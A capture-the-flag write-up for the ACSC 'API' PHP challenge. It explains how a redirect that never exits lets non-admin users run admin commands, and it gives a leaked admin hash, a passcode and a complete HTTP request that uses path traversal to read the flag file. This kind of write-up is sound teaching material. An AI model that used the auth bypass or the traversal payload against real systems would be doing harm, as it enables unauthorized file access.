API
Logic error in user authentication

Description

Easy and simple API
https://api.chal.acsc.asia

Solution

Sample API request:
1
id=test&pw=test&c=i
Copied!
The c parameter is used to decide the first command - signin, signup or signout.
1
function main($acc){
2
gen_user_db($acc);
3
gen_pass_db();
4
header("Content-Type: application/json");
5
$user = new User($acc);
6
$cmd = $_REQUEST['c'];
7
usleep(500000);
8
switch($cmd){
9
case 'i':
10
if (!$user->signin())
11
echo "Wrong Username or Password.\n\n";
12
break;
13
case 'u':
14
if ($user->signup())
15
echo "Register Success!\n\n";
16
else
17
echo "Failed to join\n\n";
18
break;
19
case 'o':
20
if ($user->signout())
21
echo "Logout Success!\n\n";
22
else
23
echo "Failed to sign out..\n\n";
24
break;
25
}
26
challenge($user);
27
}
Copied!
The user is checked for is_admin(), then the c2 parameter is used to decide a second admin command. If is_admin() is false, then redirect() is called.
1
function challenge($obj){
2
if ($obj->is_login()) {
3
$admin = new Admin();
4
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
5
$cmd = $_REQUEST['c2'];
6
if ($cmd) {
7
switch($cmd){
8
case "gu":
9
echo json_encode($admin->export_users());
10
break;
11
case "gd":
12
echo json_encode($admin->export_db($_REQUEST['db']));
13
break;
14
case "gp":
15
echo json_encode($admin->get_pass());
16
break;
17
case "cf":
18
echo json_encode($admin->compare_flag($_REQUEST['flag']));
19
break;
20
}
21
}
22
}
23
}
Copied!
However, redirect() does not actually terminate the PHP script. It simply prints some HTML output. The code execution continues, and the c2 parameter is always processed.
1
public function redirect($url, $msg=''){
2
$con = "<script type='text/javascript'>".PHP_EOL;
3
if ($msg) $con .= "\talert('%s');".PHP_EOL;
4
$con .= "\tlocation.href = '%s';".PHP_EOL;
5
$con .= "</script>".PHP_EOL;
6
header("location: ".$url);
7
if ($msg) printf($con, $msg, $url);
8
else printf($con, $url);
9
}
Copied!
Now, we need the passcode in order to perform the admin functions. We can access /lib/db/user.db and /lib/db/passcode.db directly from the server.
The admin account is
1
Pang|c307cae832059f15e52cc5e6a26a2eb3ae7173e6|1
Copied!
The passcode is
1
:<vNk
Copied!
The export_db function gets the contents of a file.
1
public function export_db($file){
2
if ($this->is_pass_correct()) {
3
$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
4
$path .= "db".DIRECTORY_SEPARATOR;
5
$path .= $file;
6
$data = file_get_contents($path);
7
$data = explode(',', $data);
8
$arr = [];
9
for($i = 0; $i < count($data); $i++){
10
$arr[] = explode('|', $data[$i]);
11
}
12
return $arr;
13
}else
14
return "The passcode does not equal with your input.";
15
}
Copied!
$file is user-controlled, so we can simply do a path traversal to get the flag:
1
POST /api.php HTTP/2
2
Host: api.chal.acsc.asia
3
​
4
...
5
​
6
id=Abcabcabc&pw=Abcabcabc&c=i&c2=gd&pas=:<vNk&db=../../../../../flag
Copied!
The flag is ACSC{it_is_hard_to_name_a_flag...isn't_it?}.
Copy link